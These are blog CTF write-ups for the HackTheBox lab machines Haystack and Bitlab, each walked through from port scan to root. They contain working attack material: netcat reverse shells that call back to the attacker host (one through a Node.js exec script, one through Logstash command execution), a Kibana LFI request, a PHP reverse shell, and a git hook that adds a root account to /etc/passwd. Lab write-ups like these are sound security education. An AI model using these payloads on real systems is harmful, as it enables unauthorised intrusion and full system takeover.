Black Eight - Ben's space

Kategorie: HTB

HackTheBox – Haystack

Difficulty: Easy
Technologies: Elasticsearch, Logstash
Vulnerabilities: Credentials in open database, log stash command as root

Walkthrough

Scan for open ports:

nmap -n -Pn -sS 10.10.10.115 --top-ports 1000

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

On port 9200 there is a Elasticsearch which can be queried using the API

curl -XGET http://10.10.10.115:9200/_xpack | python -m json.tool
...
{
    "build": {
        "date": "2018-09-26T13:37:49.715743Z",
        "hash": "04711c2"
    },
    "features": {
        "graph": {
            "available": false,
            "description": "Graph Data Exploration for the Elastic Stack",
            "enabled": true
        },
        "logstash": {
            "available": false,
            "description": "Logstash management component for X-Pack",
            "enabled": true
        },
        "ml": {
            "available": false,
            "description": "Machine Learning for the Elastic Stack",
            "enabled": true,
            "native_code_info": {
                "build_hash": "660eefe6f2ea55",
                "version": "6.4.2"
            }
        },
        "monitoring": {
            "available": true,
            "description": "Monitoring for the Elastic Stack",
            "enabled": true
        },
        "rollup": {
            "available": true,
            "description": "Time series pre-aggregation and rollup",
            "enabled": true
        },
        "security": {
            "available": false,
            "description": "Security for the Elastic Stack",
            "enabled": true
        },
        "watcher": {
            "available": false,
            "description": "Alerting, Notification and Automation for the Elastic Stack",
            "enabled": true
        }
    },
    "license": {
        "mode": "basic",
        "status": "active",
        "type": "basic",
        "uid": "b90feef1-5656-4e6d-873b-942bb078cbba"
    },
    "tagline": "You know, for X"
}


curl -XGET 'http://10.10.10.115:9200/_cat/indices?v'
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb


curl --GET 'http://10.10.10.115:9200/quotes/_search?pretty&size=500&q=*:*'  > quotes.json
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  185k  100  185k    0     0   685k      0 --:--:-- --:--:-- --:--:--  682k


curl --GET 'http://10.10.10.115:9200/bank/_search?pretty&size=500&q=*:*'  > bank.json
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  249k  100  249k    0     0   663k      0 --:--:-- --:--:-- --:--:--  663k


ls -l *json
-rw-r--r-- 1 root root 255637 Okt 22 07:29 bank.json
-rw-r--r-- 1 root root 190137 Okt 22 07:28 quotes.json

Found an additional hint in the image itself

strings needle.jpg 
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

This translates to la aguja en el pajar es „clave“

Found something inside the haystack

        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "111",
        "_score" : 1.0,
        "_source" : {
          "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
        }
      },

Tranlsates to „This key can’t be lost, I keep it here“. The base64 can be decoded to: pass: spanish.is.key

grep clave *json
quotes.json:          "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
quotes.json:          "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "

The second entry tanslates to „I have to keep the key for the machine“. The base64 can be decoded to: user: security

We are able to log in

ssh security@10.10.10.115
...
security@10.10.10.115's password: 
Last login: Wed Feb  6 20:53:59 2019 from 192.168.2.154
[security@haystack ~]$ 

[security@haystack ~]$ id -a
uid=1000(security) gid=1000(security) Gruppen=1000(security) Kontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929

The kibana installed on the machine suffers https://www.cvedetails.com/cve/CVE-2018-17246/ but the port is only open from the inside. So we open a tunnel

ben@kali:/var/www/html$ ssh -L 5601:127.0.0.1:5601 security@10.10.10.115
security@10.10.10.115's password: 
Last login: Tue Oct 22 09:46:44 2019 from 10.10.14.2
[security@haystack ~]$ 

Trying the DOS attack seems to work, request in burp

GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../cli_plugin/cli.js  HTTP/1.1
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:5601/app/kibana
kbn-version: 6.4.2
X-Requested-With: XMLHttpRequest
Connection: close

We upload a netcat and prepare a reverse shell

root@kali:/var/www/html# scp /bin/nc security@10.10.10.115:/tmp/

[security@haystack tmp]$ cat loc4.js 
var exec = require('child_process').exec;
var child = exec('/tmp/nc 10.10.14.2 4444 -e /bin/bash', function(error, stdout, stderr) {
  if (error) console.log(error);
  process.stdout.write(stdout);
  process.stderr.write(stderr);
});


python -c 'import pty; pty.spawn("/bin/sh")'


sh-4.2$ id -a
id -a
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

Logstash is running as root, additionally its configuration seems to be able to execute commands

cat input.conf filter.conf output.conf
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

We craft a proper payload using https://grokdebug.herokuapp.com/

ben@kali:~$ nc -nvlp 5555

sh-4.2$ echo "Ejecutar comando : /tmp/nc 10.10.14.2 5555 -e /bin/bash" >> /opt/kibana/logstash_cmd 

python -c 'import pty; pty.spawn("/bin/sh")'

sh-4.2# id -a
id -a
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0

sh-4.2# cat root.txt
cat root.txt
3f5f727c38d9f70e1d2ad2ba11059d92

HackTheBox – Bitlab

Difficulty: Medium
Technologies: Apache, Postgres, Gitlab
Vulnerabilities: Web fuzzing, Credentials in data files, sudo permissions

Walkthrough

Scan for open ports:

nmap -n -Pn -sS 10.10.10.114 -p -

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

The web server shows a GitLab login at http://10.10.10.114/users/sign_in (all requests are redirected to it)

Additional fuzzing shows

wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/big.txt --hc 404,302 http://10.10.10.114/FUZZ/
...
===================================================================
ID           Response   Lines    Word     Chars       Payload        
===================================================================

000000974:   401        0 L      10 W     49 Ch       "MANIFEST.MF"  
000001058:   401        0 L      10 W     49 Ch       "Thumbs.db"    
000001629:   401        0 L      10 W     49 Ch       "access-log.1" 
000001631:   401        0 L      10 W     49 Ch       "access.1"     
000001634:   401        0 L      10 W     49 Ch       "access_log.1" 
000002401:   400        3 L      10 W     90 Ch       "användare"   
000004557:   301        0 L      5 W      86 Ch       "ci"           
000004649:   200        307 L    956 W    15715 Ch    "clave"        
000007288:   200        247 L    790 W    13376 Ch    "explore"      
000007427:   301        0 L      5 W      169 Ch      "favicon.ico"  
000008843:   200        15 L     51 W     870 Ch      "help"         
000011348:   401        0 L      10 W     49 Ch       "manifest.mf"  
000011466:   401        0 L      10 W     49 Ch       "master.passwd"
000014518:   200        170 L    350 W    4184 Ch     "profile"      
000014704:   200        248 L    796 W    13456 Ch    "public"       
000015551:   200        74 L     211 W    2153 Ch     "robots.txt"   
000015591:   200        307 L    956 W    15730 Ch    "root"         
000016010:   200        217 L    765 W    13074 Ch    "search"       
000016637:   401        4 L      15 W     125 Ch      "sitemap.xml"  
000017669:   401        0 L      10 W     49 Ch       "tar.bz2"      
000017670:   401        0 L      10 W     49 Ch       "tar.gz"       
000019490:   401        4 L      15 W     125 Ch      "web.xml"      

Browing the pages we get to http://10.10.10.114/help/bookmarks.html which has some interesting encoded part (encoded with https://www.unphp.net)

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

function(){ var _0x4b18=["value","user_login","getElementById","clave","user_password","11des0081x"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })

It seems we have found some login data user: clave pass: 11des0081x

Browsing through the gitlab we find two repositories: Profile and Deployer. It seems there a some automatic hooks to deploy changes in Profile to the local machine. We commit a php reverse shell into the Profile Repository and call it

http://10.10.10.114/profile/rev.php

nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.114] 57052
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 14:18:01 up  1:22,  0 users,  load average: 0.43, 0.26, 0.24
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ id -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Browsing further we find a code snippet at http://10.10.10.114/snippets/1 contaning some postgresql credentials. We enhance the script and upload in onto the server

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
while ($row = pg_fetch_row($result)) {
  echo "ID: $row[0]  User: $row[1]  User: $row[2]";
  echo "<br />\n";
}
?>

http://10.10.10.114/profile/db.php

ID: 1 User: clave User: c3NoLXN0cjBuZy1wQHNz==

The password can be decoded using https://www.base64decode.org/
user: clave pass: c3NoLXN0cjBuZy1wQHNz== / ssh-str0ng-p@ss

We are able to log in using these SSH credentials

ben@kali:~$ ssh clave@10.10.10.114
clave@10.10.10.114's password: 
Last login: Thu Oct 31 14:41:32 2019 from 10.10.14.29
clave@bitlab:~$ id -a
uid=1000(clave) gid=1000(clave) groups=1000(clave)
clave@bitlab:~$ ls
RemoteConnection.exe  user.txt
clave@bitlab:~$ cat user.txt
1e3fd81ec3aa2f1462370ee3c20b8154

On user www-data we see some sudo permissions

$ sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

We are creating a GIT clone with a pull hook

clave@bitlab:~$ /usr/lib/git-core/git clone /srv/docker/gitlab/gitlab/repositories/root/profile
Cloning into 'profile'...
done.


clave@bitlab:~/profile$ cat .git/hooks/post-merge 
#!/bin/bash
echo "firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash" >> /etc/passwd

We are committing a change and a pull afterwards to trigger the hook

$ cd /home/clave/profile
$ sudo /usr/bin/git pull
From /srv/docker/gitlab/gitlab/repositories/root/profile
   7df1663..c6721d7  master     -> origin/master
 * [new branch]      patch-11   -> origin/patch-11
Updating 7df1663..c6721d7
Fast-forward
 index.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Seems we have root

clave@bitlab:~/profile$ su - firefart
Password: 
root@bitlab:~# id -a
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:~# cat root.txt
8d4cc131757957cb68d9a0cddccd587c

© 2024 BLK8

Theme von Anders NorénHoch ↑